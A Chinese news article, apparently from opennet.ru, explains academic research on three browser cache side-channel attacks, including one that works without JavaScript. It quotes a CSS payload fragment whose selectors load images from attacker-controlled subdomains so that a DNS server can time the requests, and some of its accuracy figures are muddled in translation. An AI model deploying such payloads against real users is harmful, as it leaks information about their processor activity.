在没有 JavaScript 的 Web 浏览器中实施 CPU 缓存提取攻击

来自美国、以色列和澳大利亚几所大学的研究人员团队开发了三种在网络浏览器上运行的攻击,以提取有关处理器缓存内容的信息。 一种方法适用于没有 JavaScript 的浏览器,另外两种方法则绕过现有的侧通道攻击防护方法,包括 Tor 浏览器和 DeterFox 中使用的方法。 用于演示攻击的代码以及攻击所需的服务器组件已发布在 GitHub 上。

为了分析缓存的内容,所有攻击都使用 Prime+Probe 方法,该方法涉及用一组标准值填充缓存,并通过在重新填充时测量对它们的访问时间来检测变化。 为了绕过浏览器中存在的干扰准确时间测量的安全机制,有两种选择:向攻击者控制的 DNS 或 WebSocket 服务器发出请求,该服务器会记录收到的请求的时间。 在一个实施例中,使用固定的DNS响应时间作为时间参考。

使用外部 DNS 或 WebSocket 服务器以及基于机器学习的分类系统进行的测量足以在最佳场景(平均 98-80%)下预测准确度高达 90% 的值。 该攻击方法已在各种硬件平台(Intel、AMD Ryzen、Apple M1、Samsung Exynos)上进行了测试,并被证明是通用的。

在没有 JavaScript 的 Web 浏览器中实施 CPU 缓存提取攻击

DNS Racing 攻击的第一个变体使用 JavaScript 数组的 Prime+Probe 方法的经典实现。 差异归结为基于外部 DNS 的计时器和 onerror 处理程序的使用,当尝试从不存在的域加载图像时会触发该处理程序。 外部计时器允许对浏览器进行 Prime+Probe 攻击,从而限制或完全禁用对 JavaScript 计时器的访问。

对于位于同一以太网上的 DNS 服务器,计时器的精度估计约为 2 毫秒,足以进行旁路攻击(作为比较,Tor 浏览器中标准 JavaScript 计时器的精度为减少到 100 毫秒)。 对于攻击,不需要控制 DNS 服务器,因为选择了操作的执行时间,以便 DNS 的响应时间作为检查提前完成的标志(取决于是否触发了 onerror 处理程序)或早或晚,对缓存检查操作的速度得出结论)。

第二种攻击方法“String and Sock”,旨在绕过限制 JavaScript 中数组低级使用的安全技术。 String 和 Sock 不使用数组,而是对非常大的字符串进行操作,选择字符串的大小以便变量覆盖整个 LLC 缓存(最后一级缓存)。 接下来,使用indexOf()函数,在字符串中搜索一个小子字符串,该子字符串最初在源字符串中不存在,即搜索操作会导致迭代整个字符串。 由于行大小对应于 LLC 缓存的大小,因此扫描允许您在不操作数组的情况下执行缓存检查操作。 为了测量延迟,不是对 DNS 进行调用,而是对攻击者控制的 WebSocket 服务器进行调用 - 在搜索操作完成之前和之后,在线路中发送查询,服务器根据查询计算用于分析缓存的延迟内容。

“CSS PP0”攻击的第三种变体是通过 HTML 和 CSS 实现的,可以在禁用 JavaScript 的浏览器中运行。 该方法类似于“String and Sock”,但不依赖于 JavaScript。 在攻击过程中,会生成一组 CSS 选择器,通过掩码进行搜索。 填充缓存的初始大字符串是通过创建具有非常大的类名的 div 标签来设置的。 里面有一组其他带有自己标识符的 div。 这些嵌套 div 中的每一个都有自己的样式,并带有一个搜索子字符串的选择器。 渲染页面时,浏览器首先尝试处理内部 div,这会导致在大行上进行搜索操作。 使用故意丢失的掩码执行搜索,并导致迭代整行,之后触发“非”条件并尝试加载引用随机域的背景图像: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

子域由攻击者的 DNS 服务器提供服务,该服务器可以测量接收请求的延迟。 DNS 服务器为所有请求发出 NXDOMAIN 并保留请求的确切时间的日志。 处理一组 div 后,攻击者的 DNS 服务器会收到一系列请求,这些请求之间的延迟与检查缓存内容的结果相关。

在没有 JavaScript 的 Web 浏览器中实施 CPU 缓存提取攻击


来源: opennet.ru

添加评论